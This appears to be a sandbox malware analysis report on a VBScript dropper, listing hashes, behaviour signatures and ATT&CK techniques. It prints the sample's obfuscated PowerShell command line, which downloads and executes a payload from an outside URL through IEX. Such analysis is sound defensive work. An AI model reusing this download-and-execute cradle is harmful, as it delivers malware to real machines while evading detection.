32696fdc1973162602638cdec277dde152bf855ee4be61a47258fd7b09354b65

Analysis

max time kernel
13s
max time network
13s
platform
windows7_x64
resource
win7v20210408
submitted
04-05-2021 06:04

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General

Target

GK58.vbs
Size

436B
MD5

a3f4ec37e400752adb85a34e63560be8
SHA1

b20367d00c0bd8ed3f9df0838c237267b7694a84
SHA256

32696fdc1973162602638cdec277dde152bf855ee4be61a47258fd7b09354b65
SHA512

93f0b8cb8d08d03510f5a4ccf7470bf3620df2da8f7e77cc4790cefbae461ee9ff5fb3b4961adf40061264e1032e09165078d433f3d4805f9a9f419f8ea8b1a1

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://teammagical.com/3.txt

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1752 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1752 powershell.exe
1752 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1752 powershell.exe

flow	pid	process
7	1752	powershell.exe

pid	process
1752	powershell.exe
1752	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1752	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1640 wrote to memory of 1752	1640	WScript.exe	powershell.exe
PID 1640 wrote to memory of 1752	1640	WScript.exe	powershell.exe
PID 1640 wrote to memory of 1752	1640	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GK58.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://teammagical.com/3.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1640-60-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmp

Filesize
8KB

Download
memory/1752-61-0x0000000000000000-mapping.dmp

Download
memory/1752-63-0x00000000022E0000-0x00000000022E1000-memory.dmp

Filesize
4KB

Download
memory/1752-64-0x000000001AB90000-0x000000001AB91000-memory.dmp

Filesize
4KB

Download
memory/1752-65-0x00000000026F0000-0x00000000026F1000-memory.dmp

Filesize
4KB

Download
memory/1752-66-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1752-67-0x000000001AA10000-0x000000001AA12000-memory.dmp

Filesize
8KB

Download
memory/1752-68-0x000000001AA14000-0x000000001AA16000-memory.dmp

Filesize
8KB

Download
memory/1752-69-0x000000001B6A0000-0x000000001B6A1000-memory.dmp

Filesize
4KB

Download